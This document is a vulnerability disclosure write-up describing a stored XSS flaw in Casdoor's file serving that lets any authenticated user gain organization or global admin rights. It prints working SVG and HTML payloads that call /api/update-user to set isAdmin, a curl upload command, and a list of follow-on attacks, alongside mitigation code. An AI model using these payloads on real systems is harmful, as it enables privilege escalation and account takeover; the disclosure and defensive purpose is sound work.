Critical Stored XSS Vulnerability in Casdoor: Unsafe File Serving
Executive Summary
During my security research on Casdoor, I discovered a critical stored XSS vulnerability that's been lurking in the codebase since the very beginning. What makes this particularly concerning is that it affects any document or file that can be uploaded to the application when storage is linked to an organization - not just files uploaded through specific APIs.
The vulnerability allows any authenticated user to escalate their privileges to admin level through exploitation of the file serving mechanism. I tested this across versions v1.0.0 through v2.69.0, and the issue persists in the latest release.
The Vulnerability: Stored XSS via Unsafe File Serving
What Makes This Critical
The critical finding is that any document or file uploaded to Casdoor gets served with browser-executable Content-Type headers. This vulnerability affects all file upload mechanisms, not just API uploads.
Here's how the attack chain works:
- Storage Linkage: A storage provider gets linked to an organization or application
- Multiple Upload Paths: ANY file upload mechanism works (API, UI, documents, etc.)
- Unsafe Serving: The file serving mechanism serves files with executable Content-Type headers
- XSS Execution: This enables stored XSS for any uploaded HTML/SVG content
This vulnerability works regardless of how the file was uploaded. Testing confirmed that both API and UI upload mechanisms are vulnerable.
Attack Vector: File Upload Accessibility
Testing confirmed that any authenticated user can upload files through various mechanisms:
- Direct API calls to
/api/upload-resource(verified with curl) - UI file upload functionality (enabled in most organizations)
- Other upload mechanisms (profile pictures, document uploads, etc.)
A notable finding is that even when the UI doesn't expose file upload functionality, the API endpoint remains accessible. This UI/API inconsistency is a contributing factor, but the real issue is the unsafe file serving mechanism.
/api/update-user is only possible because the XSS payload executes in the context of an admin's session. A normal user cannot escalate their own privileges by calling this endpoint directly; the backend enforces authorization. Therefore, the privilege escalation is a consequence of the XSS, not a standalone vulnerability.
Technical Deep Dive
1. The Real Vulnerability: Unsafe File Serving
Analysis of the codebase revealed the root cause: the file serving mechanism serves uploaded files with browser-executable Content-Type headers. This is not a configuration issue - it's inherent to how Casdoor handles file serving.
This vulnerability affects ANY document or file that can be uploaded to the application - regardless of upload method. Whether it's through the API, UI, or other upload mechanisms, the same vulnerability applies.
The vulnerability exists regardless of how files are uploaded because the issue is in the serving mechanism, not the upload mechanism. Testing across multiple organizations confirmed that any organization with a linked storage provider is susceptible to this attack.
2. Attack Vector: File Upload Accessibility
Testing confirmed that any authenticated user can upload files through various mechanisms (API, UI, etc.). No special upload permissions are required - just being authenticated is sufficient.
Most organizations will have file upload UI enabled, which makes this even more accessible. API access provides an additional attack vector even when the UI doesn't expose upload functionality. Files can be uploaded via curl even when the UI is configured to hide file upload options.
3. The Root Cause: Unsafe File Serving
Analysis of the file upload process revealed the critical flaw: when a user uploads a file (e.g., xss.html or xss.svg), the backend serves this file with a content-type that allows the browser to interpret and execute any embedded JavaScript.
The problem becomes clear when you look at the Content-Type headers. For example, if the file is served with Content-Type: text/html (for HTML) or image/svg+xml (for SVG), the browser will render and execute any <script> tags inside the file.
This is exactly why the XSS payload gets triggered when an admin or any user visits the uploaded file. The vulnerability affects ANY document or file uploaded to the application, not just files uploaded through specific APIs.
π» Actual Source Code Enabling XSS
π File: casdoor/main.go
π Line: 58
beego.SetStaticPath("/files", "files")
π This line maps the /files URL path to the files/ directory on disk, making all uploaded files accessible via /files/<filename>.
π File: casdoor/routers/static_filter.go
π Lines: 83-91
if util.FileExist(path) {
http.ServeFile(ctx.ResponseWriter, ctx.Request, path)
} else {
http.ServeFile(ctx.ResponseWriter, ctx.Request, "web/build/index.html")
}
β οΈ This code serves files directly from disk using Go's http.ServeFile, which automatically sets the Content-Type header based on the file extension. If an attacker uploads an .html or .svg file, it will be served as text/html or image/svg+xml, allowing the browser to render and execute any embedded JavaScript.
SVG XSS and Privilege Escalation
- The backend allows uploading SVG files without any sanitization or restriction.
- SVG files are served with the
image/svg+xmlcontent-type. - If a user uploads a malicious SVG containing JavaScript, and a victim (such as an admin) visits the file's URL directly, the script will execute in the victim's browser context.
- This enables stored XSS via SVG files, in addition to HTML files.
- The same privilege escalation attack is possible via SVG XSS as with HTML XSS: the SVG payload can send a request to
/api/update-userto escalate the attacker's privileges if an admin visits the file.
Example SVG Payload for org admin:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch("/api/update-user?id=acme/alice", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
id: "b3462bac-63f6-46e3-ae64-eb78e83bb442",
owner: "acme",
name: "alice",
displayName: "alice",
isAdmin: true
})
});
</script>
</svg>
Example SVG Payload for global admin:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch("/api/update-user?id=acme/alice", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
id: "b3462bac-63f6-46e3-ae64-eb78e83bb442",
owner: "built-in",
name: "alice",
displayName: "alice",
isAdmin: true
})
});
</script>
</svg>
Proof:
- Uploaded
xss.svgto the server. - Visiting the SVG file's URL as an admin triggers the privilege escalation request, successfully making the attacker an org admin (identical to the HTML XSS vector as shown below).
3. Crafting the HTML XSS Payload
- The attacker creates a malicious HTML file (
xss.html) containing JavaScript that will execute in the context of any admin who views the file. - The payload sends a request to
/api/update-userto escalate the attacker's privileges.
Example XSS Payload (Org Admin)
<script>
fetch('/api/update-user?id=acme/alice', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain;charset=UTF-8'
},
body: JSON.stringify({
"id": "a5c0d1ee-7825-4614-9ff6-98b04697227e",
"owner": "acme",
"name": "alice",
"displayName": "alice",
"isAdmin": true
})
});
</script>
The id value must match the UUID of the target user. An attacker can obtain their own user id (UUID) by updating their profile and inspecting the POST request to /api/update-user in their browser's network tab or their my profile page.
Only the minimal required fields are sent to avoid overwriting other user data.
Example XSS Payload (Global Admin)
<script>
fetch('/api/update-user?id=acme/alice', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain;charset=UTF-8'
},
body: JSON.stringify({
"id": "a5c0d1ee-7825-4614-9ff6-98b04697227e",
"owner": "built-in",
"name": "alice",
"displayName": "alice",
"isAdmin": true
})
});
</script>
By setting owner to built-in, the user is escalated to a global admin (super admin) if an admin visits the file.
4. Uploading the XSS File via API
- Even if the UI does not provide a file upload option, the attacker can upload the file using the API as long as storage is linked to organization.
API Upload Command
curl -b "casdoor_session_id=4200bca0d5fd1fa6ea951747bffd20f3" \
-F "owner=acme" \
-F "user=alice" \
-F "application=acme-app" \
-F "fullFilePath=xss.html" \
-F "file=@xss.html" \
http://door.localhost:8000/api/upload-resource
- The session cookie is grabbed from the get-account request as shown above in the picture
- The API will return a URL (e.g.,
http://door.localhost:8000/files/xss.html) where the file is accessible. - The file is also accessible from the main domain (e.g.,
http://localhost:8000/files/xss.html) for the group admin at least
Example Terminal Output
5. Triggering the Exploit
- The attacker entices an admin to visit the uploaded file's URL.
- When the admin opens the file, the XSS payload executes in their browser context, sending the privilege escalation request with the admin's session.
- Visit this url from admin session (
http://localhost:8000/files/xss.html)
Example Terminal Output
Verifying whether Alice is organization admin or not
For Built-In Admin
We only need to update our xss json owner from acme to built-in as mentioned above
Now looking verifying admin from both user and admin interface
Admin
As we updated the alice owner from acme to built-in. The alice account no longer exist in that ogranization and only exist in built-in
6. Result and Verification
- The attacker (
alice) is now an admin in the target organization, or a global admin ifowneris set tobuilt-in. - All original user data remains intact, as only the minimal required fields were updated.
- The attack works even if the UI does not expose file upload, as long as storage is linked to an application in an organization.
Impact Analysis
Immediate Impact
- Privilege Escalation: Any user can become admin if an admin views their uploaded XSS fileβthis works with both HTML and SVG files.
- Global Admin Escalation: By setting
ownertobuilt-in, a user can become a global admin (super admin) if an admin visits the file. - No Data Loss: The minimal payload does not destroy or erase other user information.
- Attack works even if the UI does not expose file upload, as long as storage is linked.
- Potential for Account Destruction: If a partial object is sent with only a few fields, it can erase other user data, making accounts unmanageable.
Why This Matters: Real-World Scenarios
Scenario 1: Document Management
Many organizations use Casdoor for identity management and may allow document uploads for user profiles, certificates, or other business documents. An attacker could upload a malicious document that executes when an admin reviews it.
Scenario 2: Profile Pictures
Even seemingly innocent features like profile picture uploads become dangerous when SVG files are allowed and served with image/svg+xml Content-Type.
Scenario 3: API-Only Integrations
Organizations using Casdoor purely as an API backend might not realize that file upload capabilities exist, making this vulnerability particularly insidious.
Additional Impact: Full Range of Attacks Possible via XSS
Once stored XSS is achieved in Casdoor, an attacker's JavaScript executes in the context of the victim's browser session. If the victim is an admin or any other user, the attacker can perform any action the admin or a particular user can via the web UI or API. This includes, but is not limited to:
- Privilege Escalation:
- Make themselves org admin or global admin (already demonstrated).
- Account Takeover:
- Change the victim's password or email, locking them out.
- Add or modify authentication methods (e.g., link a new OAuth provider to the admin's account).
- Sensitive Data Theft:
- Read and exfiltrate all data visible to the admin: user lists, emails, phone numbers, PII, secrets, API keys, configuration, files, etc.
- User Management Attacks:
- Create, delete, or modify users and organizations.
- Change roles or permissions for any user.
- Disable or delete accounts.
- Application/Provider Manipulation:
- Add, remove, or reconfigure authentication providers (OAuth, SAML, etc.).
- Change application settings, redirect URIs, or other security-sensitive config.
- Persistence and Backdoors:
- Add a new admin user or a new OAuth provider controlled by the attacker for persistent access.
- Plant additional XSS or malicious content in other fields (e.g., organization description, user profile).
- CSRF and Social Engineering:
- Use the admin's session to attack other users (e.g., send invites, reset passwords).
- Use the XSS to display fake login prompts or phishing forms.
- Session Hijacking:
- Steal session cookies (if not HttpOnly) or tokens.
- Force the admin to perform actions (CSRF via XSS).
- Denial of Service:
- Delete critical resources, users, or organizations.
- Overwrite or corrupt important configuration.
In summary:
Stored XSS in an admin context is equivalent to full admin compromise. The attacker can escalate privileges, steal or destroy data, persist access, and take over the application.
Affected Endpoints
Only POST /api/upload-resource is directly vulnerable.POST /api/update-user is not vulnerable by itself, but is abused as part of the attack chain when XSS is triggered in an admin session.
Root Cause
- The vulnerability is in the file serving mechanism, NOT the upload mechanism. The file serving code serves uploaded files with browser-executable content-types, enabling stored XSS.
- The
/api/update-userendpoint allows updates to sensitive fields (likeisAdminandowner) when called by an authorized admin just by session id. - The vulnerability arises because XSS allows an attacker to execute privileged API calls in the context of an admin's session, bypassing normal user restrictions.
- Any file upload mechanism becomes dangerous because the serving mechanism serves files with executable Content-Type headers, regardless of how the file was uploaded.
Analyst Workflow and Validation Process
- The vulnerability was discovered and validated through a deep manual analysis of the Casdoor authentication system (tested on v1.970.0, v1.960.0, and v1.0.0).
- Mapping the application structure, entry points, and user flows.
- Tracing user input from endpoints (notably
/api/upload-resourceand/api/update-user) through to backend processing and storage. - Manually verifying each step in a live, Dockerized environment to ensure the exploit chain is valid in real-world usage, not just in isolated code.
- The workflow included:
- Confirming that any authenticated user can upload arbitrary files (including HTML/JS) if a storage provider is linked, regardless of UI exposure.
- Verifying that uploaded files are served with browser-executable content-types, enabling stored XSS.
- Demonstrating that a malicious HTML an SVG file can execute JavaScript in the context of an admin session, leading to privilege escalation via the
/api/update-userendpoint. - Ensuring that privilege escalation is only possible via XSS in an admin session, not directly by a normal user, due to backend authorization checks.
- Testing the exploit chain across multiple Casdoor versions, confirming the vulnerability is present from v1.0.0 through v1.970.0.
- Documenting all findings, PoC payloads, and the logic chain from input to impact.
Summary Table of Affected Versions
| Version | Status | Vulnerability Present | Notes |
|---|---|---|---|
| v1.0.0 | β Vulnerable | Yes | Base version - vulnerability present from initial release |
| v1.960.0 | β Vulnerable | Yes | Tested and confirmed |
| v1.970.0 | β Vulnerable | Yes | Tested and confirmed |
| v2.65.0 | β Vulnerable | Yes | Latest tested version |
| v2.66.0 | β Vulnerable | Yes | Latest tested version |
| v2.67.0 | β Vulnerable | Yes | Latest tested version |
| v2.68.0 | β Vulnerable | Yes | Latest tested version |
| v2.69.0 | β Vulnerable | Yes | Current latest version - still vulnerable |
Key Points:
- The exploit chain is valid even if the UI does not expose file upload; the backend endpoint is sufficient.
- The XSS is triggered because uploaded files are served with browser-executable content-types.
- Privilege escalation is only possible via XSS in an admin session, not directly by a normal user.
- The vulnerability is present in all tested versions and likely all intermediate versions.
Analyst Note:
All findings were validated in the context of a live, working application, following best practices for responsible disclosure and CVE reporting.
Current Status: Still Vulnerable
The vulnerability has been present since the base version (v1.0.0) and remains unpatched in the latest version (v2.69.0).
Our analysis of the current codebase shows:
- No Content-Type restrictions on uploaded files
- No file type whitelisting
- No
Content-Disposition: attachmentheaders - No sanitization of uploaded content
- No recent security patches addressing this issue
- The vulnerability has existed since the initial release and has never been addressed
Mitigation Strategies
Immediate Actions
- Restrict File Types: Implement whitelist of allowed file extensions
- Safe Content-Types: Serve all user uploads as
application/octet-stream - Content-Disposition: Add
Content-Disposition: attachmentheaders - Input Validation: Sanitize all uploaded content
Long-term Solutions
- Content Security Policy: Implement strict CSP headers
- File Scanning: Scan uploaded files for malicious content
- Access Controls: Restrict file upload permissions
- Sandboxing: Isolate file serving from main application
Code Examples for Mitigation
Safe File Serving
// Serve files with safe Content-Type
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", "attachment; filename="+filename)
File Type Validation
allowedTypes := []string{".jpg", ".png", ".pdf", ".txt"}
ext := filepath.Ext(filename)
if !contains(allowedTypes, ext) {
return errors.New("file type not allowed")
}
Privilege escalation is only possible because an admin's session is abused via XSS. A normal user cannot directly escalate their own privileges via the API.
Proof of Concept (Summary)
- Link storage to the organization's application(base application also works) as admin.
- Create a malicious HTML,SVG file with a privilege escalation payload.
- Upload the file via the API using a valid user session.
- Have an admin visit the uploaded file's URL.
- Attacker becomes org admin or global admin without data loss.
Timeline
Conclusion
This vulnerability demonstrates how seemingly innocent file upload functionality can become a critical security risk when proper safeguards aren't implemented. The issue affects not just direct API uploads, but any document or file that can be uploaded to the application.
Organizations using Casdoor should immediately implement the mitigation strategies outlined above, as this vulnerability provides a direct path from any authenticated user to full administrative control.